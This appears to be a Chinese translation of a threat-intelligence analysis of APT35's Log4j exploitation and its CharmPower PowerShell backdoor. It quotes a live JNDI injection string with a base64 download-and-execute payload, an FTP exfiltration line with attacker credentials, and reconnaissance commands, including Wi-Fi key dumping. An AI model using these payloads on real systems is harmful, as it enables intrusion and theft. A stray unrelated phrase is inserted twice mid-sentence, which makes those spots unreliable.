随着 Log4j 安全漏洞的出现,研究人员已经看到多个攻击者(主要是出于经济动机)立即将其添加到他们的武器库中。毫不奇怪,一些国家支持的攻击者也将此新漏洞视为潜在目标,在受影响的系统被修补之前寻找发动攻击的机会。
APT35(又名 Charming Kitten、TA453 或 Phosphorus)是一个疑似伊朗国家支持的黑客组织,它开始对公共系统进行广泛扫描,并在漏洞被披露后仅四天就试图利用 Log4j 漏洞。攻击者的攻击设置显然是仓促的,因为他们使用基本的开源工具进行攻击,并在之前的基础设施上运行,这使得攻击更容易检测和识别。
在本文中,研究人员详细介绍了 APT35 利用 Log4j 漏洞进行的最新攻击,并分析了他们的利用后活动,包括 CharmPower,这是一种基于 powershell 的新模块化框架,用于建立持久性、收集信息和执行命令。
感染链
为了利用 Log4j 漏洞(CVE-2021-44228),攻击者选择了一个公开可用的开源 JNDI 漏洞利用工具包,该漏洞自漏洞出现以来由于其受欢迎程度已从 GitHub 删除)有多个分析论文解释了如何利用漏洞,因此研究人员将跳过实际利用步骤的细节。
感染链
为了利用易受攻击的设备,攻击者向受害者暴露的资源发送精心制作的请求。在这种情况下,有效负载在 User-Agent 或 HTTP Authorization 标头中发送:
${jndi[:]ldap[://]144[.]217[.]139[.]155:4444/Basic/Command/Base64/cG93ZXJzaGVsbCAtZWMgSkFCWEFHVUFZZ0JEQUd3QWFRQmxBRzRBZEFBOUFFNEFaUUIzQUMwQVR3QmlBR29BWlFCakFIUUFJQUJ1QUdVQWRBQXVBSGNBWlFCaUFHTUFiQUJwQUdVQWJnQjBBQTBBQ2dBa0FGUUFaUUI0QUhRQUlBQTlBQ0FBSkFCWEFHVUFZZ0JEQUd3QWFRQmxBRzRBZEFBdUFHUUFid0IzQUc0QWJBQnZBR0VBWkFCVEFIUUFjZ0JwQUc0QVp3QW9BQ0lBYUFCMEFIUUFjQUJ6QURvQUx3QXZBSE1BTXdBdUFHRUFiUUJoQUhvQWJ3QnVBR0VBZHdCekFDNEFZd0J2QUcwQUx3QmtBRzhBWXdCc0FHa0FZZ0J5QUdFQWNnQjVBSE1BWVFCc0FHVUFjd0F2QUhRQVpRQnpBSFFBTGdCMEFIZ0FkQUFpQUNrQURRQUtBSEFBYndCM0FHVUFjZ0J6QUdnQVpRQnNBR3dBSUFBdEFHVUFZd0FnQUNRQVZBQmxBSGdBZEFBPQ==}
成功利用后,漏洞利用服务器构建并返回一个恶意 Java 类,以便在易受攻击的设备上执行。此类运行带有 base64 编码负载的 PowerShell 命令:
ExploitQVQRSQrKet.cmd = "powershell -ec JABXAGUAYgBDAGwAaQBlAG4AdAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0AA0ACgAkAFQAZQB4AHQAIAA9ACAAJABXAGUAYgBDAGwAaQBlAG4AdAAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACIAaAB0AHQAcABzADoALwAvAHMAMwAuAGEAbQBhAHoAbwBuAGEAdwBzAC4AYwBvAG0ALwBkAG8AYwBsAGkAYgByAGEAcgB5AHMAYQBsAGUAcwAvAHQAZQBzAHQALgB0AHgAdAAiACkADQAKAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGUAYwAgACQAVABlAHgAdAA=";
它最终从 Amazon S3 存储桶 URL hxxps://s3[.]amazonaws[.]com/doclibrarysales/test[.]txt 下载 PowerShell 模块,并执行它:
$WebClient=New-Object net.webclient
$Text = $WebClient.downloadString("< >")
powershell -ec $Text
CharmPower:基于 PowerShell 的模块化后门
下载的 PowerShell 有效负载是主要模块,负责与 C&C 服务器进行基本通信并执行接收到的附加模块。主模块执行以下操作:
验证网络连接:执行后,脚本通过使用参数 hi=hi 向 google.com 发出 HTTP POST 请求来等待活动的 Internet 连接。
基本系统枚举:该脚本收集Windows操作系统版本、计算机名称以及$APPDATA路径下文件Ni.txt的内容,这些文件可能由主模块下载的不同模块创建和填充。
检索 C&C 域:恶意软件解码从下载后门的同一个 S3 存储桶中的硬编码 URL hxxps://s3[.]amazonaws[.]com/doclibrarysales/3 检索到的 C&C 域。
接收、解密和执行后续模块。
收集完所有数据后,恶意软件开始与 C&C 服务器通信,定期向接收域上的以下 URL 发送 HTTP POST 请求:
< C&C domain >/Api/Session.
每个请求都包含以下 POST 数据:
Session="[OS Version] Enc;;[Computer name]__[Contents of the file at $APPDATA\\Ni.txt]"
C&C服务器可以通过两种方式响应:
NoComm:无命令,导致脚本继续发送 POST 请求。
Base64 字符串:要执行的模块。该模块使用简单的替换密码和 base64 编码进行加密。
这是解码例程的片段:
下载的模块是 PowerShell 脚本或 C# 代码。每个解码后的模块格式如下:language~code~modulename~action,其中action可以是stop、start或downloadutil。后者仅与 PowerShell 模块相关。
以下代码片段处理模块解析并根据模块的语言执行相关的执行方法:
主模块还可以更改通信通道:每 360 个 C&C 周期,它可以从攻击者的 S3 存储桶中检索一个新域:
C&C发送的模块由主模块执行,每个模块分别向服务器上报数据。这个 C&C 循环无限期地持续下去,这使得攻击者可以收集受感染设备上的数据、运行任意命令,并可能通过执行横向移动或执行后续恶意软件(如勒索软件)来升级他们的操作。
模块
每个模块都是攻击者根据主模块发送的数据自动生成的:每个模块都包含一个硬编码的设备名称和一个硬编码的 C&C 域。
研究人员观察到的所有模块都包含以下共享代码:
加密数据;
通过POST请求过滤收集的数据或上传到FTP服务器;
将执行日志发送到远程服务器;
除此之外,每个模块都执行一些特定的工作。研究人员设法检索并分析了下一个模块:
列出已安装的应用程序;
截屏;
列出正在运行的进程;
获取操作系统和计算机信息;
从 C&C 执行预定义的命令;
清理不同模块创建的任何痕迹;
应用模块。
该模块使用两种方法来获取已安装的应用程序。首先是枚举卸载注册标志:
第二种方法是使用 wmic 命令:
cmd.exe /c "wmic product get name, InstallLocation, InstallDate, Version /format:csv > $FilePath"
截图模块
研究人员观察了该模块的 C# 和 PowerShell 变体,每个变体都能够以指定的频率捕获多个屏幕截图并将生成的屏幕截图上传到 FTP 服务器,并在脚本中硬编码凭据:
SendByFTP("ftp://" + "54.38.49.6" + ":21/" + "VICTIM-PC__" + "/screen/" + Name + ".jpg", "lesnar", "[email protected]#", FilePath);
c# 脚本使用 base64 编码的 PowerShell 命令从多个屏幕截取屏幕截图:
流程模块
该模块尝试使用 tasklist 命令获取正在运行的进程:
cmd.exe /c "tasklist /v /FO csv > $FilePath"
系统信息模块
这个模块包含一组 PowerShell 命令,奇怪的是,这些命令被注释掉了。系统只执行 systeminfo 命令。
#$Path = systeminfo
#$Hosts=$Path|Select-String "Host Name:"
#$OSName=$Path|Select-String "OS Name:"
#$RegisteredOwner=$Path|Select-String "Registered Owner:"
#$SystemBootTime=$Path|Select-String "System Boot Time:"
#$SystemModel=$Path|Select-String "System Model:"
#$SystemType=$Path|Select-String "System Type:"
#$SystemDirectory=$Path|Select-String "System Directory:"
#$TimeZone=$Path|Select-String "Time Zone:"
#$infos=$Hosts.ToString()+"`r`n"+$OSName.ToString()+"`r`n"+$RegisteredOwner.ToString()+"`r`n"+$SystemBootTime.ToString()+"`r`n"+$SystemModel.ToString()+"`r`n"+$SystemType.ToString()+"`r`n"+$SystemDirectory.ToString()+"`r`n"+$TimeZone.ToString()
#$infos | Out-File -FilePath $FilePath
#Get-Date -Format "yyyy/dd/MM HH:mm" | Out-File -FilePath $FilePath -append
#ipconfig /all | findstr /C:"IPv4" /C:"Physical Address" >> $FilePath
systeminfo | Out-File -FilePath $FilePath -append -Encoding UTF8
从注释掉的命令中,研究人员可以了解攻击者如何组织系统信息、他们感兴趣的数据以及他们在发送更多模块时可能考虑的事项。
命令执行模块
攻击者可以通过运行带有预定义操作的专用模块来执行远程命令c程序设计用什么软件,该模块尝试执行命令。它对基于 PowerShell 的模块使用 PowerShell Invoke-Expression 方法,而其 C# 实现同时具有 cmd 和 PowerShell 选项。
在分析过程中,研究人员观察了攻击者如何创建和发送下一个命令执行模块:
使用 cd C:/; ls 列出 C:/ 驱动器内容;
使用 netsh wlan 显示配置文件 name=” key=clear;
使用 Get-PSDrive 列出驱动器。
清理模块
在攻击者完成他们的活动并希望从系统中删除任何痕迹后,该模块将被删除。该模块包含清理注册表和持久性相关工件的启动文件夹、创建的文件和正在运行的进程的方法。
该模块包含五个硬编码级别,每个级别都有不同的用途,具体取决于攻击阶段。执行级别由攻击者在每种特定情况下预先确定:
CleanupModules 函数尝试阻止与先前运行的模块相关的所有正在运行的进程:
模块中的另一个函数尝试删除攻击者可能使用的其他指标:
从研究人员对该模块的检查来看,很明显,攻击者希望在他们认为有必要的情况下将感染保留在设备上,然后一旦达到目标就可以消失得无影无踪。
归因
通常,APT 攻击者会确保更改他们的工具和基础设施,以避免被发现并使归因更加困难。但是,APT35 不符合这种行为。该组织在网络安全社区中以他们在之前的操作中所犯的 OpSec 错误而闻名,一旦暴露,他们往往不会投入太多精力来改变他们的基础设施。毫无疑问,这里描述的他们的操作在代码和基础设施上与之前的 APT35 活动有很大重叠。
代码重叠
2021 年 10 月,谷歌威胁分析小组发表了一篇关于 APT35 移动恶意软件的文章。尽管研究人员分析的样本是 PowerShell 脚本,但它们与谷歌归因于 APT35 的 Android 间谍软件在编码风格上的相似性立即引起了研究人员的注意。
首先,日志功能的实现是一样的。Android 应用程序使用以下格式将其操作记录到 C&C 服务器:MAC=&Log=&ModuleName=&Status=
public static void post_log(String str, String str2, String str3, String str4, String str5) throws MalformedURLException, UnsupportedEncodingException {
if (haveNetworkConnection()) {
Send_Data_By_Http(Constants.Server_TargetLog, (((((("MAC=" + str) + "&Log=") + str2) + "&ModuleName=") + str3) + "&Status=") + str4);
}
}
PowerShell 模块还包括相同的日志记录格式,即使命令被注释掉并替换为另一种格式。行未完全删除的事实可能表明更改是最近才完成的。
日志消息的语法也是相同的。这是Android应用程序代码:
Functions.post_log(Functions.MAC, "Successfully Finish Monitor Permissions module.", "Monitor Permissions", "Success", Constants.Domain);
以下是脚本中的日志代码示例:
SendLog(“VICTIM-PC__”, “成功完成屏幕模块。”, “Screen”, “Success”, TargetLog); 移动版和 PowerShell 版本在 C&C 通信中使用相同的唯一参数 Stack=Overflow:
在归因于 APT35 的移动恶意软件中使用 Stack=Overflow 参数
在 PowerShell 版本中使用 Stack=Overflow 参数
基础设施重叠
根据我们对 APT35 Android 恶意软件的分析,移动样本的 C&C 服务器具有以下 API 端点:
/Api/Session
/Api/GetPublicIp
/Api/AndroidTargetLog
/Api/AndroidDownload
/Api/AndroidBigDownload
/Api/AndroidHttpModuleData
/Api/HttpModuleDataAppend
/Api/IsRunAudioRecorder
/Api/IsRunClipboard
/Api/IsRunGPS
根据研究人员能够检索到的模块,PowerShell 恶意软件的 C&C 具有以下 API 端点:
/Api/Session
/Api/TargetLogEnc
/Api/BigDownloadEnc
C&C 服务器的移动和 PowerShell 变体共享 API 端点 /API/Session。由于功能和平台的不同,其他 API 端点是相似的,但并不完全相同。
更有趣的是,额外的测试表明,不仅 URL 相似,而且 PowerShell 变体的 C&C 域实际上响应了移动变体中使用的 API 请求。
PowerShell 示例中的 C&C 响应 /Api/GetPublicIp Api 请求
PowerShell 变体 C&C 对 /Api/IsRunAudioRecorder Api 端点的响应
其余 API 端点以 405 HTTP 错误响应,这与对不存在 URL 的响应不同(/Api/RANDOM_STRING 始终以 404 HTTP 错误响应)。
PowerShell 变体 C&C 对 /Api/AndroidBigDownload API 端点的响应
研究人员得出结论,PowerShell 变体的 C&C 支持与移动变体相同的 C&C 通信协议。两个 C&C 服务器都运行类似的服务器端代码,并且可能由同一个攻击者操作。
研究人员分析了攻击的基础设施并进行了一些观察c程序设计用什么软件,并得出以下结论:
研究人员在此次活动中观察到的所有服务器均由 OVH SAS 和 Hetzner Online GmbH 托管。这不是 APT35 第一次使用这些托管服务提供商,结合 C&C 域名共享的具体模式(00.xyz),它提供了一些进一步研究的线索。
当研究人员调查基础设施时,他们发现其中一台 C&C 服务器响应了一个使用 127.0.0.1 作为 C&C 服务器的模块。这可能是一个开发服务器,因为研究人员尚未在已知的感染链中看到它。模块代码中的错误数量也表明基于 PowerShell 的恶意软件仍在积极开发中。
C&C 服务器响应模块所需的时间以及它响应的模块类型在受害者之间有很大差异。这可能是 C&C 手动操作的证据,由操作员决定哪些目标感兴趣,哪些不感兴趣。
更多利用尝试
在 APT35 名称下跟踪的许多活动包括范围、目标和方法差异很大的操作。有些操作严重依赖先进的鱼叉式网络钓鱼技术进行监控。另一方面,去年,研究人员看到了这些攻击者也进入了勒索软件领域的证据。在所描述的攻击开始后的第二天,一群 APT35 发起了另一场专门针对以色列网络的大规模活动。这一次,他们没有使用开源的 Log4j 漏洞利用服务器,而是自己实现了漏洞利用,但重用了之前披露的专用于勒索软件操作的基础设施。
恶意 Java 类的部分代码,所有指标与 Microsoft & The DFIR Report 的分析一致,表明攻击者抓住机会将 Windows 和 Linux 上的多个攻击阶段组合成一个漏洞:
总结
Log4j 漏洞利用的简单性和大量易受攻击的设备相结合,使其成为非常有吸引力的漏洞利用,例如 APT35。
在这些攻击中,攻击者仍然使用与之前的许多攻击相同或相似的基础设施。然而,从利用 Log4j 漏洞和 CharmPower 后门代码片段的能力来看,攻击者能够快速改变策略,并为攻击的每个阶段积极开发不同的实现。
原文链接:
请登录后发表评论
注册
社交帐号登录